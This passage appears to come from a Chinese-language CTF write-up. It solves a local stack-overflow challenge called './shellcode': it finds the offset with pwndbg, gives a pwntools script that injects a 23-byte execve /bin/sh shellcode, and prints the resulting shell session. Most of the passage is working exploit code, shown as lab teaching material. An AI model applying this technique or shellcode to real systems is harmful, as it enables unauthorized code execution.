Undefined command: "qaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj".  Try "help".
pwndbg> pwn cyclic -l eaaafaaa
16
This command is deprecated in Pwndbg. Please use the GDB's built-in syntax for running shell commands instead: !pwn <args>

偏移量为 0x10 + 0x8(rbp) = 0x18

exp.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
from pwn import *

p = process("./shellcode")

context.arch = "amd64"

# https://www.exploit-db.com/exploits/36858
shellcode = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

print(len(shellcode))

p.recvuntil("0x")
addr = int(p.recv(12), 16)
success("addr: " + hex(addr))

payload = b"a" * 0x18 + p64(addr + 0x18 + 0x8) + shellcode
p.sendline(payload)

p.interactive()

因为 read 函数读取 0x40 个字节的限制,我们需要找到一段较短的 shellcode,这里给出了一段长度为 23 的 shellcode

这里不能将 shellcode 布置到最前面,shellcode 内含有多段 psuh 指令,覆盖返回地址后此时 PC 是在 main 函数低地址,栈生长后会覆盖到我们的 shellcode
1
2
3
4
5
6
7
8
9
+---------------+  <- rsp (高地址)
|   buffer      |
+---------------+
|    ...        |
+---------------+
| 0xdeadbeef    |  <- rbp
+---------------+
| return addr   |  <- rip (低地址)
+---------------+

获取权限

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
$ python3 payload.py
[+] Starting local process './shellcode': pid 2166
23
[+] addr: 0x7ffe0ed6e3a0
[*] Switching to interactive mode
] ?
Now give me your answer :
$ whoami
lhon901
$
[*] Interrupted
[*] Stopped process './shellcode' (pid 2166)